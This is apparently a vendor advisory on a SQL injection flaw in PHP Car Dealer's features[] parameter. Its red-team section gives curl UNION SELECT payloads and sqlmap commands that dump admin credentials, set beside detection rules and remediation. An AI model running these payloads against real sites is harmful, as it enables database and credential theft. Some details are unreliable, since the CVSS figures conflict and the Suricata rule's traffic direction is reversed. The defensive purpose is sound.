CVE-2019-25534

Executive Summary

CVE-2019-25534 is a critical SQL injection vulnerability in Netartmedia PHP Car Dealer, a web application for managing car inventory. The flaw resides in the features[] parameter, which is processed by index.php without proper sanitization. An unauthenticated attacker can send crafted POST requests to inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential server takeover. The CVSS score of 8.2 reflects the ease of exploitation (network-based, low complexity, no privileges required) and the high impact on confidentiality, integrity, and availability. No official patch has been released, making this a high-priority threat for any instance running this software.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone PHP application. The risk is amplified by the lack of a patched version, meaning all deployments are vulnerable unless custom mitigations are applied.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the database.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted via SQL injection.

Threat Level: Critical. The combination of unauthenticated remote exploitation and high impact makes this a top-tier threat for any exposed instance.

Deep Dive & Mechanics

The vulnerability exists in the handling of the features[] parameter in index.php. The application likely constructs SQL queries by directly concatenating user input from this array without parameterization or escaping. For example, a typical vulnerable code pattern might be:

$features = $_POST['features'];
$sql = "SELECT * FROM cars WHERE feature IN (" . implode(",", $features) . ")";

An attacker can inject SQL by providing a payload like:

features[]=1 UNION SELECT username,password FROM admins--

This breaks out of the intended query structure and allows arbitrary SQL execution. The features[] parameter is an array, so the injection can be repeated across multiple elements to chain queries.

The attack is performed via a POST request to index.php with the features[] parameter set to malicious SQL. The server processes the input and returns the result of the injected query, enabling data extraction.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the only known version. A secure implementation would use prepared statements or parameterized queries. Below is a comparison:

Vulnerable Code (PHP):

$features = $_POST['features'];
$sql = "SELECT * FROM cars WHERE feature IN ('" . implode("','", $features) . "')";
$result = mysqli_query($conn, $sql);

Patched Code (PHP):

$features = $_POST['features'];
$placeholders = implode(',', array_fill(0, count($features), '?'));
$sql = "SELECT * FROM cars WHERE feature IN ($placeholders)";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, str_repeat('s', count($features)), ...$features);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses prepared statements to ensure input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: A Docker container running Netartmedia PHP Car Dealer (vulnerable version).
• Attacker: Kali Linux with sqlmap and curl.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -X POST http://target/index.php -d "features[]=1"
   

2. Manual SQL injection to extract database version:

   curl -X POST http://target/index.php -d "features[]=1 UNION SELECT @@version,2,3-- -"
   

3. Automated exploitation with sqlmap:

   sqlmap -u "http://target/index.php" --data="features[]=1" --batch --dump
   

4. Extract admin credentials:

   sqlmap -u "http://target/index.php" --data="features[]=1" --batch -D car_dealer -T admins --dump
   

Expected Output: The attacker gains full database access, including user credentials, car inventory, and potentially server-level access if database user has file privileges.

Blue Team

Detection & Response:

• Monitor for POST requests to index.php with multiple features[] parameters containing SQL keywords (UNION, SELECT, DROP, etc.).
• Use WAF rules to block requests with SQL patterns in the features[] parameter.
• Implement database query logging to detect anomalous queries.

Honeypot Setup:

• Deploy a decoy instance of PHP Car Dealer with enhanced logging.
• Capture attacker payloads for threat intelligence.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /index.php with features[] parameter containing SQL keywords.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • Outbound database connections from the web server to unknown IPs.

• File IOCs:

  • Suspicious entries in web server access logs (e.g., features[]=1 UNION SELECT).
  • Modified database tables or new admin accounts.

• System IOCs:

  • Unexpected database dumps or large outbound data transfers.
  • New files in the web root (e.g., webshells).

Detection Engineering

YARA Rule

rule CVE_2019_25534_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2019-25534 in PHP Car Dealer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25534"
    strings:
        $sql_pattern = /features\[\]=.*(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|OR\s+\d+=\d+|--\s*$)/
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against PHP Car Dealer (CVE-2019-25534)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to index.php with SQL injection patterns in features[] parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /index.php
        cs-uri-query|contains: features[]
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'DROP'
        - 'INSERT'
        - 'UPDATE'
        - 'DELETE'
        - 'OR 1=1'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of features[] with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25534 SQL Injection Attempt in PHP Car Dealer";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php"; http_uri;
    content:"features[]"; http_client_body;
    pcre:"/features\[\]=.*(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|OR\s+\d+=\d+|--)/Pi";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the PHP Car Dealer offline or restrict network access to trusted IPs only.
2. Apply virtual patching: Use a Web Application Firewall (WAF) to block SQL injection patterns in the features[] parameter.
3. Manual code fix: Replace all direct SQL concatenation with prepared statements (see patched code example above).

Long-term Solutions:

• Migrate to a supported alternative: Since the vendor has not patched this, consider switching to a maintained car dealer solution.
• Regular security audits: Conduct code reviews and penetration testing for any custom or legacy applications.
• Implement least privilege: Ensure the database user used by the application has minimal permissions (e.g., no DROP or FILE privileges).

Detection & Monitoring:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Enable detailed logging for all database queries and web requests.
• Set up alerts for any SQL error messages in HTTP responses.

Valters IT